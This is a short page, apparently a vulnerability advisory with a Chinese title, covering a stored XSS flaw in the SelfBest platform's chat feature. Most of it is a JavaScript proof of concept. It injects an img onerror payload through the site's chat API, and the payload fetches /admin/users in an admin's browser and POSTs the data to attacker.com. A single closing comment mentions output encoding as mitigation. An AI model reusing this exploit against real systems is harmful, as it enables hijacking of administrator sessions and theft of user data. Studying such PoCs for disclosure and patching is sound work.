CVE-2025-63416 SelfBest平台2023.3聊天功能存储型XSS漏洞

// CVE-2025-63416 PoC - Stored XSS in SelfBest Platform 2023.3 Chat // This PoC demonstrates how to exploit the stored XSS to steal admin data const xssPayload = `<img src=x onerror=" fetch('/admin/users', {credentials: 'include'}) .then(res => res.json()) .then(data => { // Exfiltrate admin data to attacker server fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(data), headers: {'Content-Type': 'application/json'} }); }); ">`; // Step 1: Send the malicious payload via chat API async function exploitStoredXSS() { const chatApiUrl = 'https://self.best/api/chat/send'; const response = await fetch(chatApiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + getAuthToken() // Low-privilege user token }, body: JSON.stringify({ message: xssPayload, recipient: 'target_user' }) }); return response.json(); } // Step 2: When admin views the chat, the XSS executes and steals data // The malicious script will: // 1. Execute in admin's browser context // 2. Fetch /admin/users with admin's credentials // 3. Exfiltrate the data to attacker's server // Mitigation: Implement proper input validation and output encoding // HTML encode: < > & " ' should be converted to &lt; &gt; &amp; &quot; &apos;